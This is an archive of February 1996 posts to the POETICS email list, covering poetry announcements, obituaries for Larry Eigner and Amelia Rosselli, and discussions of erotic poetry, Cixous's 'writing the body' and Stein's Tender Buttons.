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298. **Ryan Knighton**
listserv question
Sat 10 Feb 1996

Can somebody tell me again how to request the list of Poetics backchannel addresses. Thanks kindly.

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299. **Louis Cabri**
new hole chapbook
Sat 10 Feb 1996

Pandemonia by Clint Burnham. Published by hole
books. Saddle-stitched; unpaginated. $3

To order:

Rob Manery
22-191 McLeod St.
Ottawa, Ontario
K2P 0Z8
[redacted]

↑ Index

300. **Eryque Gleason**
Re: listserv question
Sat 10 Feb 1996

---

ryan, send to [redacted] the message "review poetics" with no subject, etc.

techknowledgably yours,
eryque

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301. **Kevin Killian**
Re: smart
Sun 11 Feb 1996

At 5:41 PM 2/10/96, Maria Damon wrote:
>tho i wouldn;t use
>the terms then, i'd say she came closest to "writing the body" of anyone i
>hve read before or since, except maybe genet.

Maria,

I've been thinking a lot about this concept "writing the body." What do you mean when you use it in terms of Elizabeth Smart?

Also, do you know the origins of the concept "writing the body"--like who originally coined the phrase?

Thanks.

Dodie

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302. **Kevin Killian**
Re: e=r=o=t=i=c
Sun 11 Feb 1996

At 1:49 PM 2/9/96, Ray Davis wrote:
>Well, "Language Poets" sometimes seem easiest to define as those sprigs who
>shot from Getrude Stein rather than T. S. Eliot or Ezra Pound. Now who's
>the most erotic of those three grannies?

Dear Ray, to me it's a toss-up, if "toss-up" can be applied to three choices. But T S Eliot is the Douglas Sirk of poetry. See you!

Kevin Killian

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303. **Ron Silliman**
Re: SPT
Sun 11 Feb 1996

Dodie,

It is we who should be thanking you for keeping this valuable resource alive in these most difficult of times for grassroots arts organizations. THANKS indeed!

Ron Silliman

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304. **Pierre Joris**
The Nightable Ten
Sun 11 Feb 1996

Looks like about ten books have accumulated on the nighttable -- so here's the current reading list:

Robert Kelly, RED ACTIONS (Selected Poems 1960-1993) For anyone not familiar with RK's work, this is one way in, though there is no way out -- you'll have to go the other 50 books...

George Bataille, Michel Leiris, Marcel griaule, Carl Einstein, Robert Desnos, etc. ENCYCLOPAEDIA ACEPHALICA (Atlas Archive Three: Documents of the Avant-Garde) Another superb job by Alasteir Brotchie's Atlas press in London. & now we need a reprint of ACEPHALE magazine itself.

Leonard Schwartz, etc., PRIMARY TROUBLE (Talisman House) Odd, if engaging, assemblage. It doesn't as yet make a shape in my mind -- cld be three hunter-gatherers bring back too eclectic an assortment of pray to make for a coherent menu (& for our special today we have buffalo knuckle with toffu in an oyster-&-tamarind sauce) But I withhold judgement until I have spent more time with the book.

Daniel Tiffany, RADIO CORPSE; Imagism and the cryptaesthetic of Ezra Pound. (Harvard, 1995) The book's dedicated to norman O. Brown. Heavy going, though if I get through the setup chapters (theorizing the notion that images are not necessary visual) I'll most likely find sustenance in the later parts, especially the RADIOACTIVITY chapter.

Salman Rushie, THE MOOR'S LAST SIGH -- yes, he can write & the book is a treat!

Peter Osborne, THE POLITICS OF TIME: MODERNITY AND AVANT-GARDE (Verso 1995). That vexing old problem of calling a period in history "modern" -- what about time, history, etc. Lucid & well-written -- one of the more pleasurable theory-reads of recent times.

ms. of first Cantos of Dante's INFERNO, translated by Armand Schwerner -- what an improvement! Pinsky, go home -- cld be that this will do to Dante what Blackburn did to the Troubadours, i.e. make the poems readable again as poems in american english.

Philippe Sollers, IMPROVISATIONS: an irritating intelligence gone to seed, to waste. Interesting in post-hoc explanations of Tel Quel's coitus interruptus with maoism.

Michael Joyce: OF TWO MINDS (Michigan UP) Excellent collection of essays on hypertext, pedagogy & poetics -- the brightest thinking in an area that has sofar not kept its promise.

Simon Pettet, SELECTED POEMS (Talisman House 1995) Wonderful. sweet, sharp, witty, lyrical, a walk on the mild side...

TEACH YOURSELF WEB PUBLISHING IN A WEEK. Oh, well, it's been sitting there for sedveral now, shld probably put it under the pillow & hope for

osmosis. Lemay is the clearest no-nonsense writer onm thes ematters, & if I cld find the time & wld move the book to the desk & get that web-page going.

Heiner Muller, ABC, (edizioni porce con le ali, 1996) translated by Benjamin Friedlander. Thanks Ben, it's a beauty!

& then some mags (Private Arts 8/9; Park; Sulfur; West Coast Line; the Po&sie issue on Keats who turned 200 Oct 31, 1995; und so weiter und so fort...

Pierre

========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]| ==========

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305. Henry Gould

announce: Nedge on web (sort of)

Sun 11 Feb 1996

Thanks to Loss Glazier & the Electronic Poetry Ctr, Nedge now has a listing in the Poetry Alcove on the Web (http://writing.upenn.edu/epc/mag). Thanks again, Loss! Nedge #3 is out. Contributors include Edwin Honig, Rosmarie Waldrop, Alfred Schwaid. Available for $5. at Nedge, POB 2321, Prov. RI 02906. Nedge, as you all know, is the journal where:

The well-wrought urn is comin' round the mountain,
and the "aporia between sign and referent"
is just a crack in the sidewalk.

- Henry Gould

↑ Index

306. Chris Stroffolino

Re: e=r=o=t=i=c

Sun 11 Feb 1996

hmmmmmmm--no one has mentioned perelman yet here-- what about his great "do I have to FUCK you?' said the painting to the frame"----or something like that (i'm paraphrasing)..... cs

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307. **Douglas Messerli**
Larry Eigner
Sun 11 Feb 1996

This obituary appeared in THE NEW YORK TIMES this morning, Sunday, February 11, 1996

LARRY EIGNER, 68, POET WHO SAW THE WORLD FROM HIS WEELCHAIR

By William Grimes

Larry Eigner, whose spare, dense and impassioned poetry carried on the tradition of William Carlos Williams, died on Feb. 3, at Alta Bates Hospital in Berkeley, Calif. He was 68.

The cause was complications from pneumonia, said Charles Bernstein, a poet and professor of English at the State University of New York at Buffalo.

Mr. Eigner, who published under his nickname rather than under his given name, Laurence, was born in Swampscott, Mass., near Boston. As a result of a birth injury, he developed cerebral palsy, a condition that confined him to a wheelchair. His disability had a profound influence on his poetry, which often captured, in emotional bursts of language, fleeting impressions received through the window of a house, an airplane or a car window.

"It seems I feel the world as a neighborhood, or two dozen miles of it, anyway," he once told an interviewer. "My eyes are still big for my head; most things were always beyond sight and hearing, out of reach."

Mr. Eigner was educated at home and took correspondence courses from the University of Chicago. In 1949, after hearing the poet Cid Corman read Yeats on the radio, he started writing to him. A correspondence developed, and Corman brought Mr. Eigner's work to the attention of such poets as Robert Duncan, Charles Olson, Denise Levertov and Robert Creeley, whose work was published in Black Mountain Review and in Corman's magazine, Origin.

Mr. Eigner's first mature book of poetry, "From the Sustaining Air," won the praise of Williams, but it was his inclusion in the anthology "The New American Poetry" (1960) that carried his name to a wider audience. His many works included "Another Time in Fragments" (1967), "Things Stirring Together or Far Away" (1974), "Waters/Places/A Time" (1981) and "Windows / Walls

Yard / Ways" (1964). His poetry and prose were collected in "Selected Poems" (1972) and "Areas Lights Heights: Selected Writings, 1954-1989" (1989).

At the time of his death he had completed "readiness / enough / depends / on," which Sun & Moon Press is to publish this summer.

He is survived by two brothers, Richard, of Berkeley, and Joseph, of St. Louis.

Finally, I'd thought I'd share one more poem. From a correspondence with Larry in 1976, I found this poem in manuscript form:

how much a squirrel is
in the road knocked dead
the same generations they
going around the wires

up the pole
down the tree

not leaves
call
the
patrol wagon

after how little blood
from far away slow

an action of your mind
is to take your time

when does the sun come out
or it's dark back in the woods

Larry wrote of his process accompanying this and other poems:

"A reader of course can revise at will or imagine alternate versions, how things might (or for all he now might have been) differently done. It's a way into the piece on the page if he cant think of anything that seems better or anyway as good and if he can the original writer might agree, that it's better or as good. (Not the same of course - when I have had two ways I've often solved the dilemma, avoided the necessity of choice by coming up with a third (or 4th...?) thing which seems preferable.) A couple of alterations editors (consciously or unconsciously) or printers have made have seemed at least as good, everything being al freco or ad-libbed, though many more not so. "Ok I've thought for an audience during a reading to break in with some questions say in the course of a piece, turning the poet's monologue into a dialogue or conversation, it's

saving things, the poem returning to its communal source, intercourse (not to say language), sory of like DNA after cell replication disbanded again from chromosomes and the genes spread out in the nucleaus to modulate though maybe not regulate the cell."

"It's saving things, the poem returning to its communal source, intercourse...."

That's the heart of Larry Eigner's writing.

--Douglas Messerli

↑ Index

308. **Ray Davis**
Re: e=r=o=t=i=c
Sun 11 Feb 1996

> *But T S Eliot is the Douglas Sirk of poetry.*

T. S. Eliot only _wishes_ that he'd gotten to work with Barbara Stanwyck....

Ray

↑ Index

309. **Maria Damon**
Re: smart
Sun 11 Feb 1996

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hiya dodie, interesting, one of the last times i taught smart, in a course called women and the literature of trauma (the course was itself a complete trauma and i'll never do it again!), one woman loathed the book because she thought it totally cerebral, disconnected...after class she burst into tears and said it reminded her of her sister. i asked if her sister was mentally ill, and she said no, just disconnected. funny, cuz for me, the book captured perfectly my raging virginal hormones (at 18) that could only find expression in intense fantasy, but that was more real to me than anything going on with my actual friends, social life, etc. I guess in the sense that the body is an imagined landscape, smart fills it with myth and feeling. i think "writing the body" comes from one of those early-ish french feminists, cixous, kristeva, wittig or irigaray, but maybe not. now please don't everyone jump down my throat for a) referring to the body as an imagined landscape or b)listing all those french ladies in the same list or c) referring to kristeva as a feminist. it's too early in the morning. thanks dodie, i love shooting the breeze w/ you about these matters.--xo, maria d

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310. Maria Damon
Re: e=r=o=t=i=c
Sun 11 Feb 1996

---

i guess everything's erotic...
md

↑ Index

311. Peter Jaeger
Re: e=r=o=t=i=c
Sun 11 Feb 1996

Much of Steve McCaffery's poetry could be considered erotic (depending on your definition of the word). eg. "Desire is not / a transitive verb." in "Lyric's Larynx," or his writing through libidinal and general economies eg. "dasein not design, shhh as in soft through sound such as suck . . . " in _The Black Debt_.

Elizabeth Smart in Grand Central Station: "There is nowhere and never a time for such a word"

Peter Jaeger

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312. CHRISTOPHER H. JACKSON
Re: Stein
Sun 11 Feb 1996

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don't know about "Tender Buttons" specifically, but "Composition as Explanation" (in the Selected Writings) and "How to Write" might be helpful. two books that have essays on Stein by other writers are "Critical Essays on Gertrude Stein" edited by Michael J. Hoffman and "Gertrude Stein Advanced: An Anthology of Criticism" edited by Richard Kostelanetz. "The Structure of Obscurity: Gertrude Stein, Language, and Cubism" by Randa Dubnick makes connections between Stein and painting. I haven't looked into any of these myself yet but will be doing some work on Stein this summer and would be interested in talking with others about her work.

hoping everything is swell,

Chris Jackson

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313. **David Ayre**

KSW events Feb/Mar 96

Sun 11 Feb 1996

****
* The Kootenay School of Writing *
* Vancouver B.C., Canada *
* EVENTS FOR FEB, MARCH 1996 *
* *
* email: [redacted] *
* www: http://www.wimsey.com/~ksw *
* 112 West Hastings *
* Vancouver B.C. V6B 2G8 *
* [redacted] *
****

SUMMARY ~~~~~~~~> Harryette Mullen Saturday February 17th, 8:00 pm Clint Burnham & Mark Laba Saturday February 24th, 8:00 pm Ian Iqbal Rashid Friday, March 1st, 8:00 pm Brian Dedora & Stuart Ross Friday, March 22nd, 8:00 pm Deanna Ferguson & Michael Turner Saturday, March 30th, 8:00 pm (REAL AUDIO(TM) internet broadcast)

Admission is $4/$5 at the door.
KSW is located at 112 West Hastings, Vancouver B.C.
For more information phone [redacted] or
[redacted] or
http://www.wimsey.com/~ksw

****

Harryette Mullen

KSW is honoured to host a reading by African-American poet and critic Harryette Mullen, author of S*PeRM**K*T (Singing Horse Press), and Trimmings (Tender Buttons) on Saturday, February 17th at 8:00 pm.

> "A form of address, as we are not just what we adorn,
> locates Harryette Mullen's ever more modulating etudes
> - a poetics of cultural markers, the rhythms that
> make us us, new beats in a promenade of innovating
> charms."
>
> - Charles Bernstein

Harryette Mullen's most recent work concerns the relationships between poetry and identity, attempting to seek innovative language strategies to help deal with what she calls 'competing literacies': the various relationships of race

to writing and its reception(s). Harryette Mullen has taught at Cornell University and currently resides in Los Angeles, California where she teaches African-American Literature and Creative Writing at UCLA.

RESOURCES:

S*PeRM**K*T (Singing Horse Press)
Trimmings (Tender Buttons)

Both available from:
Seague, 303 E. 8th St. New York, NY 10009

SPD, 1814 San Pablo Ave, Berkely, CA, 94702

Sun & Moon, Gertrude Stein Plaza, 6148 Wilshire Blvd., Los Angeles, CA, 90048 (http://www.sunmoon.com)

****

Clint Burnham & Mark Laba

KSW is proud to host readings by Vancouver authors CLINT BURNHAM, author of The Jamesonian Unconscious (Duke University Press), Pandemonia (Hole Books) and MARK LABA author of The Pig Sleeps (Contra Mundo Press) on Saturday, February 24th at 8:00 pm.

RESOURCES:
Pandemonia (Hole Books)
Saddle-stitched; unpaginated. $3

To order:
Rob Manery
22-191 McLeod St.
Ottawa, Ontario
K2P 0Z8
[redacted]

****

Ian Iqbal Rahisd

KSW is proud to host a reading by the highly acclaimed poet and scriptwriter IAN IQBAL RASHID -- author of The Heat Yesterday (Coach House Press, 1995), Black Markets, White Boyfriends (TSAR, 1991) and Song of Sabu (disOrientation chapbooks, 1993) on Friday, March 1st at 8:00 pm.

Ian Iqbal Rashid was born in Dar-Es-Salaam in 1965, raised in Toronto, and has been dividing his time between Canada and London, England since 1991. Ian came to England to study as an intern in the BBC drama department as a scriptwriter. Since that time, a feature length film, Good Enough for Cary, a gay comedy-drama which has just been short-listed for the Dennis Potter Prize, has been completed, and an adaptation for a limited T.V. series,

Babyfather, has been commissioned by BBC Limited Series. He is also developing a series of short experimental film/poems, The Colour of Words, for Canadian television. Rashid has been published in many magazines and journals in the UK and in North America including Fuse, Border/Lines, Canadian Literature, Rungh, West Coast Line, Toronto South Asian Review and ARC. He also reviews literature and film for BBC Radio 4's Kaleidoscope.

The Heat Yesterday (Coach House Press, 1995)
Coach House Distributor:
Stewart House/McClelland & Stewart
380 Esna Park Drive
Markham, ON
L3R 1H5
phone [redacted]
fax:[redacted]
Toll free: [redacted]

Song of Sabu (disOrientation chapbooks, 1993)
disOrientation Web Site
(http://www.ucalgary.ca/~amathur/disOrientation.html)

****

Stuart Ross and Brian Dedora

KSW is very proud to host readings by Toronto writer STUART ROSS, author of The Inspiration Cha-Cha (ECW Press, 1996 forthcoming), Runts (Proper Tales Press, 1992) and Vancouver writer BRIAN DEDORA, author of White Light (Aya Press, 1987) and What a city was (Underwhich Editions 1983) on Friday, March 22nd at 8:00 pm.

Stuart Ross has been an extremely active member of Toronto's literary scene for over twenty years, as a writer, editor, publisher and event organizor. He is a founding member of the Toronto Small Press Group and has published over 25 books of poetry and prose as well as numerous recordings of sound poetry. His work has been featured in numerous literary magazines such as West Coast Line, Paragraph, and Rampike.

Brian Dedora is a writer and performance artist whose work has been anthologized and widely published in special and limited editions.

Resources:

ECW Press Poetry Titles and ordering information WWW site:
http://www.wimsey.com/~ksw/presses/ecw/ecw.htm

Underwhich Editions
P.O. Box 262

Adelaide Street Station
Toronto, Ontario
Canada
M5C 2J4

AYA PRESS
Box 1153, Station F
Toronto, Ontario
Canada
M4Y 2T8

Proper Tales Press
Stuart Ross <[redacted]>

****

Deanna Ferguson and Michael Turner
(This event will be broadcast on the internet, date for broadcast is still to be
determined.)

KSW is extremely pleased to host a reading by Vancouver writers Deanna Ferguson and Michael Turner on Saturday, March 30th, 8:00pm. This is event is in conjunction with Music West and will be broadcast on the internet using REAL AUDIO(TM) audio compression technology.

Deanna Ferguson lives in Vancouver, B.C. where she is a publisher of Tsunami Editions and a co-editor of BOO Magazine. Books include The Relative Minor, (Tsunami Editions, 1993), Link Fantasy, with Stan Douglas, 1988 and Will Tear Us, 1987. Recent work appears in The Gertrude Stein Awards in Innovative Amercian Poetry, (Sun & Moon Press) and Raddle Moon 14.

Michael Turner is the author of Kingsway (Arsenal Pulp Press), Company Town (Arsenal) and Hard Core Logo(Arsenal). Company Town was shortlisted for the Dorothy Livesay Poetry Prize. His second book, Hard Core Logo, has been adapted to radio and stage, and will be a feature film directed by Bruce McDonald (Highway 61, Dance Me Outside). He is also the founder of the Reading Railroad, a popular Vancouver reading series.

Resources:

Tsunami Editions publication/order information WWW site:
http://www.wimsey.com/~ksw/pnet/presses/tsunami/tsunami.htm
OR
TSUNAMI EDITIONS
(Distributed by New Star Books : [redacted])
P.O. Box 3723, MPO
Vancouver B.C.

V6B 3Z1
Voice / Fax [redacted]

Sun and Moon
Gertrude Stein Plaza,
6148 Wilshire Blvd.
Los Angeles, CA, 90048
(http://www.sunmoon.com)

Arsenal Pulp Press Poetry Publication/ordering Information Web Site:
http://www.wimsey.com/~ksw/pnet/presses/arsenal/arsenal.htm

****

Coming in May . . .
a talk by Alec Finlay on the works of
the English visual artist and poet
IAN HAMILTON FINLAY

(In conjunction with The Morris Belkin Gallery)

The Kootenay School of Writing is a
non-profit artist run center operated collectively
by working writers. For 11 years KSW has offered
the varied literary communities of B.C. readings,
workshops, and talks that challenge and motivate
critical enquiry into the ways, means and dreams
of language.

Visit Our Web site ! ------> http://www.wimsey.com/~ksw
Join our Email mailing list ! --> http://www.wimsey.com/~ksw/maillist.htm

The Kootenay School of Writing
[redacted]
112 WEST HASTINGS
v6b 2g8
Canada

↑ Index

314. Douglas Messerli

Amelia Rosselli

Sun 11 Feb 1996

The poetry community has lost another major poet.
Amelia Rosselli, an Italian poet championed by

Pier Paolo Pasolini and many others, jumped to her
death from her apartment window in Rome on Saturday.

Daughter of a wartime hero and sister to the figure
portrayed in the movie, THE CONFORMIST, Amelia had had
mental health problems throughout her life, of which
she wrote intimately in her poetry.

Some of you will remember meeting her in New York
during THE DISAPPEARING PHEASANT festival at NYU
organized by Luigi Ballerini.

Below are a couple of her poems:

The angels exit
white and blue
and I sit at the balcony
black and white

Crisis of bovarysm
crisis of impoverishment!
crisis of flowers
crisis of workers

Dialogue is done in four
like a diagonal line
I describe buses
I start up again
more prayers
why are the trees blue?

(Things themselves
now my heart with light)

*

The spirit of the earth moves me
for a while; lying down or sitting I look

not at the watch; I touch it and
put it at the side of my head, that
neither dozing nor thinking
addressed its god as if

I were he in the clouds. Enfeebled
the walled-in infancy of these lines
are nothing but pictorial imagination
if in the wheatfield I remain

lying down long to think it over

-translated by Lucia Re and Paul Vangelisti

Sun & Moon Press will bepublishing Amelia's book,
WAR VARIATIONS, next month.

-Douglas Messerli

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315. Gwyn McVay
More on poets to music
Sun 11 Feb 1996

Has anyone already mentioned this? On Uta Lemper's disc _City of Strangers_ she does a medley of settings of Prevert, mixed in with Sondheim, of all people, and a shred of Celan's _Todesfuge._

Gwyn

↑ Index

316. Charles Alexander
Re: e=r=o=t=i=c
Sun 11 Feb 1996

---

seems hard not to think of nearly everything one writes as erotic

and the act of writing as erotic

and reading

↑ Index

317. Jerry Rothenberg
(no subject)
Sun 11 Feb 1996

Dear Doug --

Saddenned to hear of Amelia Rosselli s death, whom I remember fondly from the Italian poetry fest in NYC. The enclosed, if it fills in something, is from the commentary on her work in second volume of Millennium. To which we ll now (alas) be adding a death date & perhaps a sentence or a line of termination.

I look forward to the book.

As ever,

JERRY

Amelia Rosselli

Science-fiction folly / valiant sicknesses / impediments to writing / totality to be described // will to write / will to survive / will to impede / tyranny (A.R., Pheasant, p. 171)

Child of her time, she was seven years old when her anti-fascist father, Carlo Rosselli, was assassinated by French gunmen outside Paris; grew up with her English (Irish-Catholic) mother, first in England, then New York; studied literature & music (a continuing concern) in Rome & London; settled later in the Rosselli home in Florence. Onset of mental illness came with her mother s death during her student days: an openness to voices & destructive fears; later a struggle with the institutions that confined her. If this gives an edge to her work as to that of Hvlderlin, or Artaud, or Campana before her her work itself, like theirs, is testimony to the power of a profoundly experimental poetics, here in its postmodern, Italian incarnation. (Below, page 000.) To see such work as merely madness is, of course, to miss its genius; for what is most at stake here (so writes Lucia Re) is the conjunction of linguistic experimentation with a kind of staging of the self, a staging which in turn involves the dimensions of the personal and the private (a personal which, however, is no longer personal and a private which is no longer private, once they have become part of the mise-en-schne of the poetic text). ... The obscurity of her language, the character of radical artifice that her poems often assume, and the mystical dimension that emerges in them, may [in fact] be seen as a political gesture of protest. And Rosselli on her own behalf: Lo scritto che in me h folle risponde / a tutto questo dolore con parole sempre / spero sempre vere [The writing that in me is madness answers / all this pain with words I always / yearn for always true].

↑ Index

318. Emily Lloyd
E=R=O=& other things
Sun 11 Feb 1996

Maria, Dodie: Cixous="writing the body" origin, I'm pretty sure. But then, on the other side of the Atlantic, Audre Lorde (in very different language) suggests something like this...

Stein, Creeley *always* win my erotic votes...

How about "least erotic?" Marianne Moore, anyone? (Except "The Fish").

emily

↑ Index

319. Thomas Bell
Re: e=r=o=t=i=c and quotidian
Mon 12 Feb 1996

Is the following the source of questions on erotic and quotidian?

"Human experiences, of the most ordinary kinds, are now finding a place in the text [recent french prose and poetry]." back cover of Gavronsky, Serge, _Toward a new poetics_

When did these experiences leave? Where did they go?

Tom Bell
[redacted]

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320. Rod Smith
Re: The Nightable Ten
Mon 12 Feb 1996

Pierre-- Quite ahead of time, but just to mention possible DC reading. We're doing something for Charles B. that Thurs. which I suppose cld be combined but better wld be to do you each on different nights. Play up the anthology etc, allow you both to read longer. . . all of which to say, do you have any idea yet how long you'll be down here? Millenium's been selling quite well. Enjoyed your post, few things on there I'd missed, particularly Radio Corpse, which I'll have to get at the store. Agree with you on The Politics of Time, quite useful book. Best, Rod

↑ Index

321. Rod Smith
Re: The Nightable Ten
Mon 12 Feb 1996

Sorry Gang-- meant to sent to Pierre went to list.
& only one beer.
sheesh

↑ Index

322. Rod Smith
DC Readings Feb. 18th
Mon 12 Feb 1996

Two readings in DC Sunday, FEB. 18th

@ 3 PM @ DCAC (District of Columbia Arts Center)
2438 18th St NW (near 18th & Columbia)

Graham Foust
editor of _Phoebe_
& Doug Lang
author of _Magic Fire Chevrolet_ & _Horror Vacui_

& then, @ 7:30 PM @ Bridge Street Books,
2814 Pennsylvania Ave NW (in Georgetown, ph 20 [redacted])

Tim Davis
co-editor of _Arras_
Rob Fitterman
editor of _Object_ & author of _Ameresques_
Judith Goldman
from _The Impercipient_ & environs
Kim Rosenfield
author of _Some of Us_ & _Two Poems_

as per usual BYOE
(Bring Your Own Ears)

↑ Index

323. Jennifer Ashton
Re: Stein
Mon 12 Feb 1996

I can't remember who originally posted the question about Stein's _Tender Buttons_, but I hope the following will be helpful to whoever was interested. There have been several posts on this with useful reading suggestions, so I won't reiterate those titles. If you haven't already looked at "Poetry and Grammar," in _Lectures In America_, that's the essay where Stein talks at length about _TB_ and about the difference between poetry and prose in general. However, I took the original question to be more of a textual studies question than a question about Stein's theory of composition. I have read a bunch of Stein stuff (I'm writing my dissertation on her), but I can't recall seeing any but the most cursory accounts of the composition process for _TB_. In other words, biographers and others have noted rough dates for when she would have begun the poems, but I haven't seen anything about which sections

came first or how she determined order, grouping, etc. I also have never had the opportunity to look at the MS's at Yale, so I don't know what exists of the poems in MS form, but certainly that might be a place to start.

Jennifer Ashton

↑ Index

324. KUSZAI
The Rusty Word #2 -- Call For Work
Mon 12 Feb 1996

CALL FOR WORK

The Rusty Word #2 is now entering final production stage and there is still time to contribute writing.

THE RUSTY WORD #2
OH! CANADA ISSUE

Featuring Scott Pound on Blaser and the Vancouver Conference; Kramer and Pound on Karen Mac Cormack; Kuszai on Canadian New Music; Friedlander on Robertson; statements by Louis Cabri from Calgary & Christian Bok from Toronto; & more!

There is still time to contribute to this issue & we are looking for a diversity of commentary/news/reviews about Canadian poetry & culture.

Rusty's Most Wanted: Statements, "scene reports", reviews, and advertisements-propaganda from Canadian poets, publishers and critics.

Please contact the editors for more information:

Joel Kuszai [redacted]
Scott Pound [redacted]

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325. megan blair simpson
writing the body
Mon 12 Feb 1996

Dodie, Maria, et al:

In "The Laugh of the Medusa" Helene Cixous writes, "woman must write woman. And man, man. . . . By writing her self, woman will return to the body . . . Women must write through their bodies, they must invent the impregnable language that will wreck partitions, classes, and rhetorics, regulations and codes, they must submerge, cut through, get beyond the ultimate reserve-discourse, including the one that laughs at the very idea of pronouncing the

word `silence,' the one that, aiming for the impossible, stops short before the word `impossible' and writes it as `the end.'"

Megan

↑ Index

326. **Kevin Killian**
obtaining the SPT newsletter
Mon 12 Feb 1996

This is Dodie again.

A couple of you have written asking how you could receive the SPT newsletter. The newsletter will be posted at the Electronic Poetry Center.

For those of you who would like a hard copy, the newsletter is a newsletter for members. The March issue will be mailed to to everyone in our database, along with a membership drive letter. Future issues will be mailed to members only (but all issues will be posted at the EPC). If you'd like to receive the March newsletter, send me your mailing address.

Thanks for asking.

↑ Index

327. **Edward Foster**
Re: The Nightable Ten
Mon 12 Feb 1996

---

a very odd, i would think academic, response from pierre joris re: primary trouble. i would expect a "coherent menu" from critics, pound, and norton. but that can imply an agenda, a politics. as if that came first, which an anthologist, certain of his/her priority, might mistakenly assume. the anthology, if it is good, does not provide "coherence" but differences, no?

↑ Index

328. **David Ayre**
KSW: cyberratum
Mon 12 Feb 1996

Just an erratum to our Feb-Mar 96 mailout information.

We listed that Harryette Mullen's books were available from Segue and Sun and Moon. This info is very much outdated...

Her books though are very much available through SPD @...

SPD, 1814 San Pablo Ave, Berkely, CA, 94702

Sorry for any inconveniences. 8)

The Kootenay School of Writing
112 W. Hastins St.
Vancouver B.C. V6B 2G8
[redacted]

[redacted]
http://www.wimsey.com/~ksw

↑ Index

329. David Kellogg
Stein
Mon 12 Feb 1996

In *"Favored Strangers": Gertrude Stein and Her Family* (Rutgers UP, 1995), Linda Wagner-Martin writes,

> Judging from the manuscript versions of the originals, the assembly of the parts into one long prose poem was itself whimsical. In a letter to "my dear Miss Claire," Gertrude wrote in what sounded like the imperative case: "Tender Buttons, will be the title . . . and after it the three short titles, Food, Rooms, Objects." Perhaps the arrangement did not matter: when *Tender Buttons* appeared, with no context, it was often treated like a joke.

Cheers,
David
~~~
~~~

330. **ryan johnson**
a query
Mon 12 Feb 1996

Just curious, b/c I tried something like this teaching a section recently and was wondering: Has anyone out there done any work with, or does anyone out there know of someone else having done any work with, Charles Bernstein's ideas in "Artifice of Absorption" concerning *prose*? And here I'm interested specifically in what will now be arbitrarily defined as "conventional" prose, as opposed to experimental stuff. (The connection I made was in a 19th century context.) Or for that matter, does anyone have any input on this off the top of his or her particular head? Well? Feel free to back-channel your response, if you wish, and I offer this liberty with absolutely no idea what "back-channeling" is. (Tho I suppose I could guess.) Quizically,& Thanx, Ryan Johnson (last name included b/c I noticed another Ryan in our midst of late)(Hi!)

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331. **Jonathan A Levin**
Re: a query
Mon 12 Feb 1996

Ryan, and all--

When I first read Bernstein's essay/poem, I though of Richard Lanham's work--The Motives of Eloquence especially, but also a wonderful essay in Literacy and the Survival of Humanism called "At and Through: The Opaque Style and Its Uses." I'm sure many will appreciate the irony of this particular confluence, given Lanham's interest in something he'd be willing to call the "suvival of humanism," but it is, at least, a humanism with what I like to think a decidedly smiling face. (Lanham's "Aristotle and the Illusion of Purpose," in the same book, might also help open up this somewhat surprising overlap--or maybe I'm mistaken to assume it will appear so universally surprising? I tried Lanham out on one member of this list some time back and received only mixed results. Anyway, he's one of the best readers of renaissance prose I know, so I recommend him sans hesitation.) Hoping this proves useful, and that its usefulness only serves to improve (or something aptly Sidneyesque along those lines), Jonathan Levin

↑ Index

332. **Jordan Davis**

Poetry Sightings

Mon 12 Feb 1996

There were a couple of readings in New York this past weekend. On Friday night, Heather Ramsdell, Chris Stroffolino and Lisa Jarnot read poems at the Ichor Gallery on W 26th St. The event was hosted by Sam Truitt. The man (forgive me, I misplaced my notes) who introduced Heather Ramsdell asked us to consider the event as a "poetry listening", and then Heather read parts of her poem "Bridge Section" and closed with a work in a similar style that incorporated lines from the book "Go Dog, Go". Rod Smith, speaking through Joe Ross (as part of Joe's collaboratively-written introduction to Chris Stroffolino), advised the listeners to sit back and enjoy what would undoubtedly be the greatest poetry reading of all time. Chris read a number of recent poems in a personal, personably animated manner. A highlight of his performance was a gathering of sententia modelled in parallel to Frank O'Hara's "Lines for the Fortune Cookies"--I have to agree with Chris, his lines are better. After a significant intermission, Lisa Jarnot read what Judith Goldman described in her introduction as "something about California". It _was_ something. Lisa's poetry which has long incorporated what Judith called "up-to-date techniques" rather excitingly evoked a scene of piers and on-ramps, and a first-person narrator (who may or may not be a frozen squid) "in love with the parking lot". The reading left everyone feeling at once drained and refreshed, eager to play pool or ramble along Seventh Avenue. I myself went to the 55 Bar on Waverly, discussing the geography of Atlanta with Bill Luoma. Christmas lights hang from the sprinkler pipes and the window in the front of the room remains partially open during the readings at Ichor. Beer and soda are available for $1. The gallery asks people who attend the readings to contribute $3. Many people who subscribe or who used to subscribe to the POETICS list attended last Friday's reading. The next reading at Ichor will feature Ed Foster, Erica Hunt, and Sean Killian. Saturday afternoon at the Ear Inn, down at the end of Spring Street, Kevin Davies and Joe Ross read. There were some slight problems with the sound equipment but audience members sitting at the bar seemed to have no trouble hearing the work. Kevin read a piece compiled from imitations of his work by several of his friends (including Rob Fitterman, Judith Goldman, Douglas Rothschild, and others; again, I've misplaced my notes), self-parody, and other sources. My favorite point was when he looked up and said "O Canada!" At the end of his reading, Kevin was presented with a "League Champions 1978" trophy by Bruce Andrews. Joe Ross followed Kevin, reading work from a variety of projects, including several pages from a new book published by Potes & Poets. I particularly enjoyed the poems from his "Fuzzy Logic" series, and a set of poems written using the words broadcast to him by

his television during a Washington Redskins game, _in the order in which they were broadcast_. Readings at the Ear Inn are on Saturdays at 2:30. Listeners are requested to donate $3, I think.

On another matter:

At 1:35 PM 2/12/96, David Kellogg wrote:

Perhaps the arrangement did not matter: when *Tender Buttons* appeared, with no context, it was often treated like a joke.

Eh? How's that?
Which part doesn't matter, and why?
Or is that jokes don't matter,
Or work which is delivered
Off-handedly and which doesn't
Take itself seriously
(Or which takes itself way too seriously)
Doesn't bear close-reading?

↑ Index

333. **Marisa Januzzi**
Re: Amelia Rosselli
Mon 12 Feb 1996

---

a * for the absent Amelia Rosselli

watch (out) for her work

--Marisa

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334. **Kevin Killian**
Re: writing the body
Mon 12 Feb 1996

At 8:45 AM 2/12/96, megan blair simpson wrote:
>Dodie, Maria, et al:
>
>In "The Laugh of the Medusa" Helene Cixous writes, "woman must write
>woman. And man, man. . . . By writing her self, woman will return to the
>body . . . Women must write through their bodies, they must invent the
